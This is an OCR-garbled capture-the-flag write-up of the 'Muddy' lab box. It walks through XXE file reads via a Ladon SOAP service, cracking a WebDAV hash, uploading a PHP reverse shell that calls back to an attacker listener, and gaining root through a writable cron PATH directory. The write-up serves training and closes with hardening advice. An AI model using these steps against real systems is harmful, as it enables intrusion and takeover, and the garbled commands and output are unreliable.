report
Muddy - Proving Grounds Box

Recon

I ran nmap -sS -sV $TARGET.

$TARGET
8 ( htt
n report for 3

open 0 H 7.9p1 Debian 10+debl@u2 (protocol 2.0)
open s 3 mtpd

open ht e httpd 2.4.38 ((Debian))

open rpcbind 2 (RPC #100000)

open https?

open

open 1 (Python

Info: c nux:linux_kern

ervice ection performed. = report any incorrect results at
Nmap done: 1 IP address (1 ho ) scanned in 12 seconds

/etc/hosts Down

| added the IP to /etc/hosts for the host muddy.ugc . | notice a "Ladon" server is hosted on port
8888.
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muddy

Service Description:

None kali@kali: ~
Available Interfaces: Actions Edit View Help
o xmlrpc [ url description ] open https

< s open
» jsonrpcl® [ url description 1] open
= jsonwsp [ url description ] ce Info:

« soapdocumentliteral [ url description ] 3 detection performed. Please report any incorrec

« soapll [ url description | Nmap 1 IP addr 1 host up) scanned in 12.@

e soap [ url description ] ~
/etc/hosts

Methods:

« checkout ( string uid ) = D 1
None Mon Mar 2 @2
Paramters:
uid: string
None

Returns: string
None

X

Types:

Powered by Ladon for Python

There are some endpoints accepting POST: xmlrpc, jsonrpcl®, jsonwsp, etc. Let me do
some research on it. Looks like we need to pop an XXE vulnerability.

| also noticed that gobuster shows me that WebDAV is enabled. | will likely need to login later
with stolen credentials.

kali@kali: ~

Session Actions Edit View Help

-

1 $TARGET —w fusr/share/wordlists/dirbuster/directory-list-2.3-small.txt

TheColonia

ion mode

wp-content
wp-includes
j cript

Down |




| searched exploit-db.com for Ladon XXE vulnerabilities. Apparently all we need for LFl is a
curl command with the right payload.

Exploit
XML XXE Local File Inclusion

| was able to trigger XML LFI with an HTTP POST:

|- [~/Downloads ]
' Down |

out

ml version="1.
<S50AP-ENV:Envelope xmlns:5 ( schemas.xmlsoap.org/soap/e i = x 5. V="htt
as.xmlsoap.c oap/e xmlns: rn: y" xml " 81/XMLSchema” >
<S0AP-ENV:Body

: TOOL:
fu;xfsb1n/no1 ginsys
:/usr/games: ;u;xﬁsbln/n-_ g 2 r 7
1.;poo1;1pd.ru;1f5b1n/n oginmail: :mail:/var/mail: fu;:fsbln!no1 ; 'Hspco1/
usr/sbin/no i p:1@: ) spool/ ‘fusr/shin/nol roxy 7 T i ‘uglfsbln/n
i:/usr/sbin/nologinbackup: >
flist:fusr/sbin/n

/non ent:/usr/sbin/no
y usr/sbin/nologinsystemd-netw ol
gement,,,.;1unfsy;temd.fusrfsbin/na1 insystemd-resolv 04:systemd Resol
(:1@4:118:: /nc istent:/ 'shi 105 65534 :

istent:/bin/falseian: 1 i 5 r im4: fusr/
;bln/no1oqln rpC:x: 5534 :: ‘rpcbind: log atd: )9:65534 :: 1 .ib/n+;.ru;rﬁ5bininalc

wUAP ENﬁ.Eady
DAP-ENV:Envelope>

-[~/Downloads

The next step is to use this to steal WebDAV credentials so we can upload a webshell.

| then obtained the passwd.dav file by targeting /var/www/html/webdav/passwd.dav :



[~/Downloads]
P ' t Down |

AP-ENV:En
mlsoap.o

[~/Downloads]
Down |

Cracking WebDAYV Credentials

| first need to crack the hashed password for the user administrant .

henrypostgkali-toughwol f
hashcat -m 1600 '$apri1$GUG1OnCu$uiSLaAQojCml41lPMwISDi@" /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.8 PoCL 6.@8+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF,

Started: Mon Mar
: Mon Mar 2 13:
ostgkali-toughwolf
hashcat -m 1600 '$apri1$GUG1lOnCu$uiSLaAQoiCml4lPMwISDi@" /usr/share/wordlists/rockyou.txt —show
$apri1$GUGlonCuuislaAgojCml41PMwISDiE :sleepless
henrypostgkali-toughwolf

The cred is administrant:sleepless.

Using WebDAYV Credentials and uploading a PHP web shell

| prepared a PHP web shell to upload, and started a nc listener.



. kali@kali: ~/Downloads
Terminal Emulator

Use the command line €lP
php-reverse-shell.php

set_time_limit (@);
VE = "1.0";
= '192.168.49.56" ;
= 4444;
= 1400;
= null;
= null;
'uname -a; w; id; /bin/sh -i';

Write Out B where Is K WY Location Ll Undo
Read File [ Replace " Wi Go To Line [[@3 Redo

[~/Downloads]
— Lp 4444 t Down | E 192.168.56.161 |
listening on [any] 4444

| then uploaded the reverse shell payload:

[ ~/Downloads ]
administrant:sleepless -T php-reverse-shell.php http://muddy.ugc/webdav/shell.php

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.@//EN">

<html><head>

<title>201 Created</title>

</head><body>

<hls>Created</hl>

<p>Resource Swebdav/shell.php has been created.</p>

<hr />

<address:Apache/2.4.38 (Debian) Server at muddy.ugc Port 80</address>
</body></html>

[~/Downloads ]
Down

And then | caused the victim PHP runtime to execute our code:

[~/Downloads]
administrant:sleepless http://muddy.ugc/webdav/shell.php

Resulting in a functioning reverse shell running in the php user context, www-data :




— |-[~/Downloads]

= -nvlp 4444 i Down | ET:192.168.56.161 |
listening on [any] 4444

connect to [192.168.49.56] from (UNKNOWN) [192.168.56.161] 55378

Linux muddy &4.19.@0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-83-19) x86_64 GNU/Linux
16:11:46 up 2:83, @ users, load average: ©.00, 0.90, 0.00

USER TTY FROM LOGING IDLE JCPU PCPU WHAT

uid=33(wwmw-data) gid=33(wwmw-data) groups=33{wmw-data)

/bin/sh: @: can't access tty; job control turned off

$ pwd

/
e |

| stabilized my shell with python3:

$ which python3

J/usr/bin/python3

$ python3 -c "import pty;pty.spawn(”/bin/bash™)
wew—datagmuddy:/$ “Z

zsh: suspended nc -nvlp 4444

|-[~/Downloads]
192.168.56.161 |
+ continued nc -nvlp 4444

home 1ib32 vmlinuz
initrd.img lib64 vmlinuz.old
initrd.img.old 1ibx32
lib lost+found

v —datagmuddy: /$ ]

Pivoting: Cron Job Exploitation

cat /etc/crontab

# /etc/crontab: system-wide crontab

# Unlike any othei&crontab you don't have to run the "crontab’

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/dev/shm:|/usr/local/sbin: fusr/local/bin:/sbin:/bin:fusr/sbin: /usr/bin

Example of job definition:
minute (@ - 59)
hour (@ - 23)
day of month (1 - 31)
month (1 - 12) OR jan,feb,mar,apr
.—— day of week (@ - 6) (Sunday=@ or 7) OR sun,mon,tue,wed,thu,fri,sat
|
* * user-name command to be executed
root cd / run-parts —report /etc/cron.hourly
root test fusr/sbin/anacron || ( c¢d / & run-parts —-report /fetc/cron.daily )
root test Jusr/sbin/anacron || ( e¢d / & run-parts ——report fetc/cron.weekly )
root test J/usr/sbin/anacron || ( cd / & run-parts —report fetc/cron.monthly )
* * * root netstat -tlpn > ,root/status & service apache2 status >> /root/status & service
mysql status >> /root/status

|
|
|
|
|
&

(R I R

7
3]
7
2

i
v ~datadmuddy: /$ |

/dev/shm is writeable by us.

Because the command netstat gets run every 1 minute by root user, we can use this to get
a root shell on our victim.




We just need to create an executable named netstat within the /dev/shm folder to achieve
root access.

www -data@muddy:/$ cd /dev/shm

cd /dev/shm

wow -data@mudify: /dev/shm$ echo "chmod +s /bin/bash”>ne
echo "chmod ¥s /bin/bash”>netstat

www -data@muddy: /dev/shm$ chmod 777 netstat

chmod 777 netstat

www -data@muddy: /dev/shm$ sleep 1m

sleep 1m

www -data@muddy:/dev/shm$ 1s -la /bin/bash

1s -la /bin/bash

-rwsr-sr-x 1 root root 1168776 Apr 18 2819 /bin/bash
www -data@muddy: /dev/shm$ date

date

Mon Mar 2 16:35:42 EST 2826

v -data@muddy: /dev/shm$ []

The s bitis set on the file /bin/bash, meaning we can use /bin/bash -p to get a root shell.
p means "Preserve effective UID", which is root in this case.

v -data@muddy: /dev/shm$ /bin/bash -p
/bin/bash -p

bash-5.8# whoami

whoami

Mon Mar 2 16:37:17 EST 2826
bash-5.0#% |}

And, we have root access and flag.

bash-5.8# cd /root
cd /root
bash-5.8% 1s

396ab21baec7@0da33n7e0850607a22T2

bash-5.0# date

date

Mon Mar 2 16: 11 EST 2826
bash-5.0% |}

Guidance
Do not parse XML External Entities.

Do not expose unnecessary XML parsing services over the network.



Consider disabling WebDAV and SOAP XML APIs unless necessary, or putting them behind a
firewall.



